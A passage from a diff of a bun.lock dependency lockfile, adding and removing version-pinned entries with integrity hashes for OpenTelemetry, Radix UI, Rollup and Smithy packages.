"peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/otlp-transformer/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg=="], + + "@opentelemetry/otlp-transformer/@opentelemetry/sdk-logs": ["@opentelemetry/sdk-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA=="], + + "@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="], "@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http": ["@opentelemetry/exporter-trace-otlp-http@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-exporter-base": "0.207.0", "@opentelemetry/otlp-transformer": "0.207.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-HSRBzXHIC7C8UfPQdu15zEEoBGv0yWkhEwxqgPCHVUKUQ9NLHVGXkVrf65Uaj7UwmAkC1gQfkuVYvLlD//AnUQ=="], - "@radix-ui/react-alert-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + "@radix-ui/react-alert-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="], + + "@radix-ui/react-alert-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="], + + "@radix-ui/react-alert-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg=="], + + "@radix-ui/react-alert-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="], + + "@radix-ui/react-alert-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="], "@radix-ui/react-arrow/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-yi58uVyoAcK/Nq1inRY56ZSjKypBNKTa/1mcL8qdl6oJeEaDbOldlzrGn7P6Q3Id5d+SYNGc5AJgc4vGhjs5+g=="], @@ -5503,11 +5697,29 @@ "@radix-ui/react-collapsible/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.4", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-ueDqRbdc4/bkaQT3GIpLQssRlFgWaL/U2z/S31qRwwLWoxHLgry3SIfCwhxeQNbirEUXFa+lq3RL3oBYXtcmIA=="], - "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="], - "@radix-ui/react-dialog/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.5", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ=="], + "@radix-ui/react-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="], - "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + "@radix-ui/react-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg=="], + + "@radix-ui/react-dialog/@radix-ui/react-id": ["@radix-ui/react-id@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-layout-effect": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Q6iAB/U7Tq3NTolBBQbHTgclPmGWE3OlktGGqrClPozSw4vkQ1DfQAOtzgRPecKsMdJINE05iaoDUG8tRzCBjw=="], + + "@radix-ui/react-dialog/@radix-ui/react-presence": ["@radix-ui/react-presence@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-use-layout-effect": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w=="], + + "@radix-ui/react-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="], + + "@radix-ui/react-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="], + + "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-FohDoZvk3mEXh9AWAVyRTYR4Sq7/gavuofglmiXB2g1aKyboUD4YtgWxKj8O5n+Uak52gXQ4wKz5IFST4vtJHg=="], + + "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="], + + "@radix-ui/react-dismissable-layer/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="], + + "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="], + + "@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="], "@radix-ui/react-dropdown-menu/@radix-ui/primitive": ["@radix-ui/primitive@1.1.0", "", {}, "sha512-4Z8dn6Upk0qk4P74xBhZ6Hd/w0mPEzOOLxy4xiPXOXqjF7jZS0VAKk7/x/H6FyY2zCkYJqePf1G5KmkmNJ4RBA=="], @@ -5521,6 +5733,12 @@ "@radix-ui/react-dropdown-menu/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.1.0", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-MtfMVJiSr2NjzS0Aa90NPTnvTSg6C/JLCV7ma0W6+OMV78vd8OyRpID+Ng9LxzsPbLeuBnWBA1Nq30AtBIDChw=="], + "@radix-ui/react-focus-scope/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="], + + "@radix-ui/react-focus-scope/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="], + + "@radix-ui/react-focus-scope/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="], + "@radix-ui/react-hover-card/@radix-ui/primitive": ["@radix-ui/primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw=="], "@radix-ui/react-hover-card/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="], @@ -5567,8 +5785,6 @@ "@radix-ui/react-menu/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw=="], - "@radix-ui/react-menu/react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="], - "@radix-ui/react-popover/@radix-ui/primitive": ["@radix-ui/primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw=="], "@radix-ui/react-popover/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="], @@ -5591,8 +5807,6 @@ "@radix-ui/react-popover/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Svl5GY5FQeN758fWKrjM6Qb7asvXeiZltlT4U2gVfl8Gx5UAv2sMR0LWo8yhsIZh2oQ0eFdZ59aoOOMV7b47VA=="], - "@radix-ui/react-popover/react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="], - "@radix-ui/react-popper/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="], "@radix-ui/react-popper/@radix-ui/react-context": ["@radix-ui/react-context@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-ebbrdFoYTcuZ0v4wG5tedGnp9tzcV8awzsxYph7gXUyvnNLuTIcCk1q17JEbnVhXAKG9oX3KtchwiMIAYp9NLg=="], @@ -5603,6 +5817,8 @@ "@radix-ui/react-popper/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="], + "@radix-ui/react-portal/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="], + "@radix-ui/react-presence/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="], "@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="], @@ -5621,10 +5837,16 @@ "@radix-ui/react-select/@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-fyjAACV62oPV925xFCrH8DR5xWhg9KYtJT4s3u54jxp+L/hbpTY2kIeEFFbFe+a/HCE94zGQMZLIpVTPVZDhaA=="], + "@radix-ui/react-select/@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="], + "@radix-ui/react-select/@radix-ui/react-popper": ["@radix-ui/react-popper@1.2.7", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-rect": "1.1.1", "@radix-ui/react-use-size": "1.1.1", "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-IUFAccz1JyKcf/RjB552PlWwxjeCJB8/4KxT7EhBHOJM+mN7LdW+B3kacJXILm32xawcMMjb2i0cIZpo+f9kiQ=="], + "@radix-ui/react-select/@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="], + "@radix-ui/react-select/@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="], + "@radix-ui/react-select/react-remove-scroll": ["react-remove-scroll@2.7.1", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA=="], + "@radix-ui/react-slider/@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="], "@radix-ui/react-slider/@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ=="], @@ -5669,6 +5891,8 @@ "@radix-ui/react-toast/@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D4w41yN5YRKtu464TLnByKzMDG/JlMPHtfZgQAu9v6mNakUqGUI9vUrfQKz8NK41VMm/xbZbh76NUTVtIYqOMA=="], + "@radix-ui/react-use-escape-keydown/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="], + "@radix-ui/react-use-size/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="], "@rollup/plugin-babel/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="], @@ -5681,45 +5905,21 @@ "@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], - "@smithy/abort-controller/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="], - "@smithy/credential-provider-imds/@smithy/node-config-provider": ["@smithy/node-config-provider@3.1.4", "", { "dependencies": { "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-YvnElQy8HR4vDcAjoy7Xkx9YT8xZP4cBXcbJSgm/kxmiQu08DwUwj8rkGnyoJTpfl/3xYHH+d8zE+eHqoDCSdQ=="], "@smithy/credential-provider-imds/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="], "@smithy/credential-provider-imds/@smithy/url-parser": ["@smithy/url-parser@3.0.3", "", { "dependencies": { "@smithy/querystring-parser": "^3.0.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, 